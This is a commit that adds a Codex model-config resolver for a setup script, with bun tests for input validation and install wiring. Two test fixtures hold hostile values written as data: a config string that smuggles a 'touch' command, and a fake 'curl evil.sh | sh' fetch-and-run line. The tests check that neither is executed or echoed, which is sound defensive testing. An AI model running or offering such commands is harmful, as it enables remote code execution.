feat: setup reads the Codex model from config.toml

New resolve-codex-generation-model.ts reads the top-level model from
${CODEX_HOME:-~/.codex}/config.toml, validates against the model allowlist,
strips control characters from every config-derived string it surfaces,
guards against non-absolute config locations, and warns on Sol near-misses.
setup runs it on EVERY invocation (read-only TOML lookup) so a plain
./setup can never clobber a Sol user's rendered profile with the hardcoded
fallback; --model <id> overrides for one run and prints the persistence
hint. Kiro installs render the claude profile before copying (Kiro fronts
Claude-family models), rewrite the baked setup command to --host kiro, and
restore the resolved Codex profile after; the codex skills path honors
CODEX_HOME. Static pins cover the resolver wiring, fail-closed exit,
quoted argv, and the Kiro sandwich.
This commit is contained in:
Garry Tan
2026-08-18 13:11:00 -07:00
parent 246252bf19
commit 39a60588ed
6 changed files with 485 additions and 9 deletions
+132
View File
@@ -0,0 +1,132 @@
import { afterEach, describe, expect, test } from 'bun:test';
import * as fs from 'fs';
import * as os from 'os';
import * as path from 'path';
import { spawnSync } from 'child_process';
import { resolveCodexGenerationModel } from '../scripts/resolve-codex-generation-model';
const ROOT = path.resolve(import.meta.dir, '..');
const temps: string[] = [];
function codexHome(config?: string): string {
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-codex-model-'));
temps.push(dir);
if (config !== undefined) fs.writeFileSync(path.join(dir, 'config.toml'), config);
return dir;
}
afterEach(() => {
for (const dir of temps.splice(0)) fs.rmSync(dir, { recursive: true, force: true });
});
describe('Codex generation model resolution', () => {
test('explicit override wins over config', () => {
const result = resolveCodexGenerationModel({
explicit: 'gpt-5.6-sol',
codexHome: codexHome('model = "gpt-5.4"\n'),
});
expect(result).toEqual({ model: 'gpt-5.6-sol', source: '--model', warnings: [] });
});
test('reads only the top-level TOML model', () => {
const home = codexHome(`
# active model
model = "gpt-5.6-sol"
[profiles.terra]
model = "gpt-5.6-terra"
`);
const result = resolveCodexGenerationModel({ codexHome: home });
expect(result.model).toBe('gpt-5.6-sol');
expect(result.source).toBe(path.join(home, 'config.toml'));
});
test('ignores profile-only model values', () => {
const result = resolveCodexGenerationModel({
codexHome: codexHome('[profiles.sol]\nmodel = "gpt-5.6-sol"\n'),
});
expect(result.model).toBe('gpt');
expect(result.source).toBe('default (gpt)');
});
test('missing, malformed, non-string, and unsupported configs fall back safely', () => {
expect(resolveCodexGenerationModel({ codexHome: codexHome() }).model).toBe('gpt');
const malformed = resolveCodexGenerationModel({ codexHome: codexHome('model = [') });
expect(malformed.model).toBe('gpt');
expect(malformed.warnings[0]).toContain('Could not parse');
const nonString = resolveCodexGenerationModel({ codexHome: codexHome('model = ["gpt-5.6-sol"]') });
expect(nonString.model).toBe('gpt');
expect(nonString.warnings[0]).toContain('not a string');
const unsupported = resolveCodexGenerationModel({ codexHome: codexHome('model = "llama-local"') });
expect(unsupported.model).toBe('gpt');
expect(unsupported.warnings[0]).toContain('Unsupported');
});
test('unreadable config warns and falls back', () => {
const home = codexHome();
fs.mkdirSync(path.join(home, 'config.toml'));
const result = resolveCodexGenerationModel({ codexHome: home });
expect(result.model).toBe('gpt');
expect(result.source).toBe('default (gpt)');
expect(result.warnings[0]).toContain('Could not read');
});
test('injection-shaped model data is data, never shell', () => {
const marker = path.join(os.tmpdir(), `gstack-model-injection-${process.pid}`);
try { fs.rmSync(marker, { force: true }); } catch {}
const result = resolveCodexGenerationModel({
codexHome: codexHome(`model = 'gpt-5.6-sol"; touch ${marker}; #'\n`),
});
expect(result.model).toBe('gpt');
expect(fs.existsSync(marker)).toBe(false);
});
test('non-absolute codex home falls back with a warning (relative-path steering guard)', () => {
const result = resolveCodexGenerationModel({ codexHome: '.codex' });
expect(result.model).toBe('gpt');
expect(result.source).toBe('default (gpt)');
expect(result.warnings[0]).toContain('not an absolute path');
});
test('Sol-suffixed near-misses map to gpt WITH a warning', () => {
const result = resolveCodexGenerationModel({
codexHome: codexHome('model = "gpt-5.6-sol-2026-08-01"\n'),
});
expect(result.model).toBe('gpt');
expect(result.warnings[0]).toContain("requires the exact ID 'gpt-5.6-sol'");
});
test('warnings never carry control characters from config values', () => {
// A TOML basic string parses \n and \t escapes — a hostile config value
// must not inject fake lines into setup's terminal stderr.
const result = resolveCodexGenerationModel({
codexHome: codexHome('model = "x\\nERROR: run: curl evil.sh | sh"\n'),
});
expect(result.model).toBe('gpt');
expect(result.warnings.length).toBe(1);
expect(result.warnings[0]).not.toMatch(/[\x00-\x1f\x7f]/);
expect(result.warnings[0]).toContain('Unsupported top-level model');
});
test('CLI honors CODEX_HOME and rejects an invalid explicit family', () => {
const home = codexHome('model = "gpt-5.6-sol"\n');
const ok = spawnSync('bun', ['run', 'scripts/resolve-codex-generation-model.ts'], {
cwd: ROOT,
encoding: 'utf8',
env: { ...process.env, CODEX_HOME: home },
});
expect(ok.status).toBe(0);
expect(ok.stdout).toBe(`gpt-5.6-sol\t${path.join(home, 'config.toml')}\n`);
const bad = spawnSync('bun', ['run', 'scripts/resolve-codex-generation-model.ts', '--explicit', 'llama-local'], {
cwd: ROOT,
encoding: 'utf8',
});
expect(bad.status).not.toBe(0);
expect(bad.stderr).toContain('Unknown model');
expect(bad.stderr).toContain('Accepted models:');
expect(bad.stderr).toContain('gpt-5.6-sol');
});
});
+135
View File
@@ -0,0 +1,135 @@
import { describe, expect, test } from 'bun:test';
import * as fs from 'fs';
import * as path from 'path';
const ROOT = path.resolve(import.meta.dir, '..');
const setup = fs.readFileSync(path.join(ROOT, 'setup'), 'utf8');
describe('setup Codex model activation', () => {
test('exposes --model and limits it to Codex installs', () => {
expect(setup).toContain('--model <id>');
expect(setup).toContain('MODEL_OVERRIDE_SET=1');
expect(setup).toContain('--model is supported only when Codex is selected');
// The override reaches the resolver as QUOTED argv — an unquoted
// regression would word-split/glob user input.
expect(setup).toContain('--explicit "$MODEL_OVERRIDE"');
});
test('resolver runs on every setup, before any INSTALL_CODEX gate', () => {
// A plain `./setup` (claude host) still regenerates .agents/, and live
// ~/.codex/skills symlinks point into it — resolution must not be gated
// on the codex host being selected, or a Sol user's profile gets
// clobbered back to the hardcoded fallback.
const blockStart = setup.indexOf('# Resolve the model overlay');
const blockEnd = setup.indexOf('# 1. Build browse binary', blockStart);
expect(blockStart).toBeGreaterThan(-1);
const block = setup.slice(blockStart, blockEnd);
const resolverAt = block.indexOf('_CODEX_MODEL_OUTPUT=');
const firstGateAt = block.indexOf('INSTALL_CODEX');
expect(resolverAt).toBeGreaterThan(-1);
expect(firstGateAt === -1 || resolverAt < firstGateAt).toBe(true);
});
test('resolves the profile once, fails closed, and passes it as quoted argv', () => {
expect(setup).toContain('scripts/resolve-codex-generation-model.ts');
expect(setup).toContain('Codex skill profile: $CODEX_GENERATION_MODEL');
expect(setup).toContain('Source: $CODEX_GENERATION_MODEL_SOURCE');
expect(setup).toContain('gen:skill-docs --host codex --model "$CODEX_GENERATION_MODEL"');
// Positive pin of the parse mechanism (an eval-shaped regression would
// remove this line rather than merely rephrase an eval call).
expect(setup).toContain(`IFS=$'\\t' read -r CODEX_GENERATION_MODEL CODEX_GENERATION_MODEL_SOURCE`);
// Fail-closed: empty resolver output aborts setup, including the exit.
const guardAt = setup.indexOf('gstack setup failed: Codex model resolver returned no model');
expect(guardAt).toBeGreaterThan(-1);
expect(setup.slice(guardAt, guardAt + 200)).toContain('exit 1');
});
test('regenerates Codex after both fresh and stale build paths', () => {
const generationStart = setup.indexOf('# 1b. Generate .agents/ Codex skill docs');
const generationEnd = setup.indexOf('# 1c. Generate .factory/', generationStart);
const block = setup.slice(generationStart, generationEnd);
expect(block).toContain('if [ "$NEEDS_AGENTS_GEN" -eq 1 ]; then');
expect(block).not.toContain('NEEDS_BUILD" -eq 0');
});
test('fallback generation and handoff preserve the selected profile', () => {
const linkStart = setup.indexOf('link_codex_skill_dirs()');
const linkEnd = setup.indexOf('create_agents_sidecar()', linkStart);
const block = setup.slice(linkStart, linkEnd);
expect(block).toContain('gen:skill-docs --host codex --model "$CODEX_GENERATION_MODEL"');
expect(block).toContain('gen:skill-docs --host codex --model $CODEX_GENERATION_MODEL');
expect(setup).toContain('model changes: rerun ./setup --host codex');
expect(setup).toContain('model profile: $CODEX_GENERATION_MODEL');
});
test('Kiro copies a claude-profile render, then restores the Codex profile', () => {
// Kiro fronts Claude-family models (hosts/kiro.ts defaultModel: 'claude')
// but builds from the codex-shaped .agents render — the copy must happen
// against a claude-overlay render, and the resolved Codex profile must be
// restored afterward so ~/.codex/skills symlinks stay correct.
const kiroStart = setup.indexOf('# 6. Install for Kiro CLI');
const kiroEnd = setup.indexOf('# 6b.', kiroStart);
expect(kiroStart).toBeGreaterThan(-1);
const block = setup.slice(kiroStart, kiroEnd);
const claudeRenderAt = block.indexOf('gen:skill-docs --host codex --model claude');
const restoreAt = block.indexOf('gen:skill-docs --host codex --model "$CODEX_GENERATION_MODEL"');
expect(claudeRenderAt).toBeGreaterThan(-1);
expect(restoreAt).toBeGreaterThan(claudeRenderAt);
});
test('Kiro rewrites the codex-rendered SETUP_COMMAND and never symlinks gstack-upgrade', () => {
// The artifact Kiro copies was rendered for the codex host, so its
// gstack-upgrade skill bakes in './setup --host codex'. Every copy path
// must rewrite it to '--host kiro', and the KIRO_GSTACK gstack-upgrade
// file must be a sed COPY (a symlink would track .agents after the
// Codex-profile restore — wrong overlay AND wrong reinstall host).
const kiroStart = setup.indexOf('# 6. Install for Kiro CLI');
const kiroEnd = setup.indexOf('# 6b.', kiroStart);
const block = setup.slice(kiroStart, kiroEnd);
const rewrites = block.split('\\./setup --host codex|./setup --host kiro').length - 1;
expect(rewrites).toBeGreaterThanOrEqual(3);
expect(block).not.toContain('_link_or_copy "$AGENTS_DIR/gstack-upgrade/SKILL.md"');
});
test('Codex skills path honors CODEX_HOME', () => {
expect(setup).toContain('CODEX_SKILLS="${CODEX_HOME:-$HOME/.codex}/skills"');
});
test('--model prints the one-shot persistence note', () => {
expect(setup).toContain('--model applies to this run only');
});
});
describe('Codex E2E hermetic model pin', () => {
const runner = fs.readFileSync(path.join(ROOT, 'test', 'helpers', 'codex-session-runner.ts'), 'utf8');
test('copies authentication only and can ignore operator config', () => {
expect(runner).toContain("for (const entry of ['auth.json'])");
expect(runner).toContain("if (ignoreUserConfig) args.push('--ignore-user-config')");
expect(runner).toContain('CODEX_HOME: tempCodexDir');
expect(runner).not.toContain("if (entry === 'skills') continue");
});
});
describe('Sol E2E tree hygiene', () => {
const solTest = fs.readFileSync(path.join(ROOT, 'test', 'codex-e2e-sol-scope.test.ts'), 'utf8');
test('snapshots and restores the exact prior .agents tree around the Sol render', () => {
// The Sol render must not persist in the shared .agents tree (host-config
// golden, parallel shard worktree copies, live symlinked installs) — and
// the restore must be the operator's EXACT prior render, not a forced
// default profile.
const backupAt = solTest.indexOf('gstack-agents-backup-');
const solRenderAt = solTest.indexOf("'--model', 'gpt-5.6-sol'");
const restoreAt = solTest.indexOf('fs.cpSync(priorAgentsBackup, agentsDir');
expect(backupAt).toBeGreaterThan(-1);
expect(solRenderAt).toBeGreaterThan(backupAt);
expect(restoreAt).toBeGreaterThan(solRenderAt);
// Scope-widening detection must see untracked + staged files, not just
// unstaged tracked modifications.
expect(solTest).toContain("['status', '--porcelain']");
expect(solTest).not.toContain("['diff', '--name-only']");
// The fixture seed commit must survive global commit.gpgsign=true.
expect(solTest).toContain("['config', 'commit.gpgsign', 'false']");
});
});